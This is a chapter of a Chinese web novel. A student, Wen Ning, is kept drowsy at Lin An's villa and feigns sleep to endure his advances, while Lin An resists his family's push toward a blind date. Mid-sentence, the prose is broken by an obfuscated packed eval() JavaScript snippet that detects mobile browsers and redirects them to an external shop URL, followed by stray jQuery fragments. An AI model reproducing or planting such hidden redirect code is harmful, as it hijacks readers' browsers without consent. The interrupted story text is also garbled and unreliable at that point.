十一假期的最后一天,是中秋节。
那天很早的时候,温宁就被叫醒了。
窗户被林安打开,清冽的风裹着浓郁的桂花香,瞬间盈满了房间。
林安拿出一件针织毛衣外套披在温宁身上。
“今天是中秋节,可不能再睡了。”
他拿出温宁的手机,递给她。
手机早就被他充满电了,这几天却安静的好像关机了一样。
温宁睡眼惺忪,呆头呆脑任凭林安摆布。
“睡傻了?”林安低笑,揽着她的肩膀缓步走下楼梯。
经过这几天的朝夕相处,温宁的身体已经熟悉了林安的气息和碰触,也不在排斥林安的肢体接触。
温宁忍不住又打了个哈欠,她还是好困。
餐厅里,林安盛了一碗鸡汤,舀了一勺,吹了吹,放在温宁的唇前。
“喝口鸡汤,醒醒神。”
温宁顺从的张嘴,温热的汤汁滑入喉咙,一股明显的苦意在舌根缓缓蔓延开来。
鸡汤也能煮糊吗?
她下意识的向后仰了仰头,试图远离那碗鸡汤。
林安又重新舀了一勺,自己喝下,眉头微蹙,随即舒展开。
“人参放多了,”他语气平静,又舀起一勺,耐心的递到温宁的唇边,“没事,对身体好。”
温宁偏开头,嗓音还带着初醒的沙哑:“那你自己喝,我不喝。”
林安笑了,“胆子大了,开始反抗了?”
温宁固执的抿着嘴。
林安把鸡汤放在餐桌上,气笑了。
他是想让温宁袒露真性情,但是拒绝自己,这个习惯可不好。
还没等他继续下一步,手机铃声突然响起。
他侧过身看去,是他手机。
电话是俞老师打来的,问他在哪儿的。
温宁的眼神微动。
林安斜靠在餐桌边,指尖轻点桌面。
“当然在家呢。”
电话那头传来他父亲的声音,是让他赶紧回家的话。
林安嘴角的弧度慢慢拉平。
“我晚上直接去我爷爷那儿,你们在那等我就行。”
林向华直接接过电话,声音陡然清晰起来。
“往年你有工作可以理解,今年你都失业了还不过来?”
“又没什么事,去那么早去干什么?”
林老师干咳一声,显然接下来的话题也有几分不好意思。
“你爷爷那边有不少人过来拜访,有不少带着子女的,你过去见见。”
说完,林老师把手机递给俞老师,挤了挤眼神。
“给你儿子好好说说,事业不成,总得赶紧结婚生子吧。”
林安在电话这头听得一清二楚的,他烦躁的起身去茶几上拿出烟盒,抽出根烟,咬在齿间。
“怎么又提这事,我的事我自己解决,不用你们担心。”
“怎么不用我们担心?三十了,工作工作不提,对象对象也没有,每次过年过节,就你一个老光棍。”
林安把手里的火机扔到木质茶几上,发出啪的声音。
林安看向坐在餐桌前的温宁动了一下身子。
“这件事,我自己有打算,今天晚上我再去爷爷家,你们先过去吧。”
说完,林安就挂了电话。
他吸了一口烟,又把烟按死在烟灰缸里。
“吓着你了?”
林安扇了扇自己周遭的烟味,走到温宁身旁。
“没事,你上楼换件衣服,带你出去玩?”
温宁摇头。
“我好累,想睡。”
“你这就是躺的,多运动就好了,今天中秋节,总不能在床上过吧。”
温宁看了眼窗外。
天色阴暗,小雨不停,她不想出门。
“去吧,逛完正好中午带你去吃好吃的,刘姐新发现了一家素食餐厅,带你去吃。”
林安推着温宁上楼,拿出一套女装,让温宁换上。
“中秋节,你不回家吗?”
林安看了眼手表。
“晚上吃团圆饭前回去就可以了,平日里都能见到,也不一定非得今天要聚在一起。”
温宁换好衣服后,又打了一个哈欠。
“我想回学校了。”
林安脸色未变,恍若没有听到这句话。
“明天开学,我得回宿舍住了。”
“这里离学校太远了,我往返不方便。”
温宁低垂着头,站在玄关处,等着林安的回答。
“你大四最主要的不就是写论文吗?况且以后我开车送你,也用不了太久。”
温宁固执的摇头。
“太远了。”
林安没有办法,只好退一步道,“假期最后一天过完,我送你回去。”
温宁嗯了一声。
她知道,林安不可能需要她留在这里一整天的。
果然,车刚上高架,林安的手机便接连震动起来。
温宁靠在副驾驶座上,好像睡着了,安静无声。
林安瞥了眼来电显示,声音压低。
“有事?”
“你爸叫我打的,想问你到底在哪儿玩的。”
电话那头是他堂哥林泽宇。
“我都多大了,还玩?”林安喉结滚动,声音压着一丝不耐,“我就不能有一点私人空间?”
“平时随你,今天可是中秋,你非要和你爸对着干?再说,你都没工作了,还有什么比回爷爷家更重要?”
电话那头,满是不同意。
林安侧头看了眼温宁,不做声。
“哥,今天我真的有事,和别人说好的。”他声音缓下来,“你先帮我在爷爷那里说一下。”
林泽宇叹了口气,“好吧,那你晚上早点过来。”
林安把电话挂断,狠狠地拍了一下方向盘。
他不明白,他都已经三十岁了,为什么在父亲眼里,还是一个只懂玩闹的孩子?他只不过毕业的时候,没有听家里的安排,考公进入机关部门,反而选择了娱乐圈,这就是胡闹了?
在娱乐圈里八年的摸爬滚打又凭什么在他们眼里不过是不务正业?
他咬紧后牙槽,为父亲的不信任和瞧不起有些气恼。
温宁悄悄睁开眼,透过车窗看过去,恰巧看到林安面无表情的侧脸和那双紧握方向盘,骨节发白的手。
温宁不太明白林安,又觉得自己不需要理解林安,本就是两条平行的人,怎么能因为一时的量子风暴而永远纠缠在一起。
温宁现在能做的就是,静静的等待,等待风暴的消散,一切回归自己的轨道,然后沿着自己既定的轨迹继续走下去。
天还未彻底暗下去,温宁就被送回了学校。
宿舍里昏暗,空无一人,温宁没有开灯。她把蜡烛点上,看着烛火在窗帘上摇曳。
其实,在房山别墅的那几天,她并不是毫无知觉的。
第一天或许是无措的,接下来几天,她仅仅就是在装了,让自己彻底沉睡,然后试图遗忘这些。
她不明白事情怎么会发展到这种地步,但是她也不明白这种地步是什么地步?
她和林安之间,她是忽略了什么吗?她又是在哪个点没有跟上林安的思维?
温宁自知自己想破脑袋也想不出来,所以她干脆不想了,面对林安突如其来的亲密举动,她只能顺从。
她或许永远无法理解林安的脑回路,怎么能上一秒还在说笑,下一秒就摔碎酒瓶子。但是她永远都知道如何保护自己。
温宁把自己紧紧缩在被窝里,一股淡淡的潮湿感从鼻尖传来。
床铺好几天没有人收拾,已经被雨气沾湿了。
她的身体里也散发出淡淡的霉味。
林安开车回到林家的时候,华灯初上,院子里的石子路都被反射出一层淡淡的红色。小路两旁的绿叶上也朦胧着一层红色。
屋子里一片欢声笑语。
林安穿过游廊,透过玻璃窗户,发现还有外人没有离开。
他愣了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035537|194626||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下,又笑着跨进门槛,一家人正坐在沙发上看电视。
一个陌生的女孩正坐在俞老师旁边。
林安心下明白,这是给自己准备的相亲。
果不其然,众人见他走进来,没有过多的气恼,言笑晏晏的就介绍这个陌生的一家人。
林安顺着话,和这个廖叔叔和廖阿姨打了招呼后,就被俞老师推到她的位置上坐下来了。
林安懒散的靠在沙发背上,对面的堂弟林川促狭的眨了眨眼,又转头和林泽宇八卦去了。
旁边的女孩,廖清和名字一点也不相符,倒是活泼的紧。
林安笑着转过头,佯装认真的和她聊起了天。
是个很有趣的姑娘,只是,林安看着她的笑脸,却下意识想起温宁那张假笑的脸。
“小骗子。”林安不自觉的说出声来。
“林安哥,你在说什么?”廖清没听清林安回了什么话,问起来。
林安猛地回过神来,心虚的清了清嗓子,“没什么。”
“对了,你这么大还没男朋友?”他转头问起来,看着廖清年龄好像也不大,是刚毕业吗?刚才俞老师好像说了一下她的工作是什么机关单位。
廖清的笑容突然卡了一下,论年纪,好像是林安更大吧。
“那你得抓紧了,要不然以后天天被人催,烦死了。”
林安假装自己不知道这是给自己安排的相亲,苦口婆心的劝廖清不要因为被父母催而仓促选择了父母介绍的对象,现在是自由恋爱社会,拒绝封建包办婚姻。
直到廖清一家离开的时候,廖清都没有好意思说出要加微信的话。
在餐桌上,林川摇了摇头。“这姑娘还是太嫩了,被安哥耍的团团转。”
“不合适啊,二伯母。”
俞老师的脸色一僵,没有说话,但显然是生林安的气的。
果然刚下饭桌,还没等林爷爷说什么,俞老师就把林安叫到屋外长廊上。
“什么意思?”俞老师的声音冷静而又压着怒火。
林安斜靠在红柱上,一只手插兜,一只手有一下没一下的拨弄打火机。
其实他的烟瘾很大,之前上节目还有拍戏,都是靠吸烟来提神的,只不过是他知道温宁讨厌吸烟的人,才会下意识在温宁面前克制自己吸烟的冲动。
“没什么意思,我的对象,我会自己找,不需要你们操心。”
俞老师终于克制不住的冷笑了一声。
“就像你的人生?在镜头前卖弄自己?最后不还是乖乖回家让我们帮你?”
“啪”林安猛地把火机盖拨回去。
他承认,当初进演艺圈是他做的一个不成熟的决定,仅仅是当时的叛逆想法,但是他现在已经三十了,有足够的理智和头脑去思考自己的人生了,不需要一步步跟着父母的想法走了。
“我自己做的决定,结果我自己承担,不需要你们再帮我解决,工作的事,我不需要你们帮我解决。”
“怎么解决?靠着你那点养老钱不务正业?”
林安插在裤兜里的手,死死攥住。
“妈!我说了,我会好好想我接下来的人生的。”
俞老师听到林安话语里强忍的怒火,也意识到自己话语里的轻视,她缓了缓气息,放缓口音。
“我知道,只不过我们不是担心你吗?你要体谅我们这些当父母的苦心,我们做这些不也是为你好?就说进演艺圈,当初我们就不看好你,这么些年下来了,你自己肯定也感觉到了,你不适合演戏,我们当初阻拦你也不是没有缘故的,只不过你一定要撞了南墙才肯回头。现在也是,我们不提工作了,就说成家。”
俞老师话里话外还是想要撮合林安和廖清。
林安不耐烦的听着,直到最后俞老师想要替他决定下次见面时间的时候,站直了身体。
“妈,我对象我自己找,廖清压根就不是我喜欢的那种类型。”
俞老师忍了又忍,最后还是没忍住开口。
“难道温宁就是你喜欢的类型?!”